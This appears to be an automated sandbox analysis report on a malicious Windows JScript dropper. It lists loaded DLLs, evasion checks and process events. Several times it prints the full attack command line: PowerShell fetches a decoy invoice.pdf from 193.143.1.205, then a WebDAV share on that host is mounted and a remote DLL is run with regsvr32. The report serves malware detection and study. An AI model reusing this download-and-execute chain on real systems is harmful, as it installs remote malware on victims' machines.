Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5225.js.csv");ITextStream.WriteLine(" entry:8185 f:yufrfyqr");ITextStream.WriteLine(" exec:2 f:yufrfyqr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4413			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5456			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 4413 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 5456 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7972	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1494355666.000002393155B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2706169703.000002321CC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2708291981.0000023222454000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2708210290.0000023222441000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

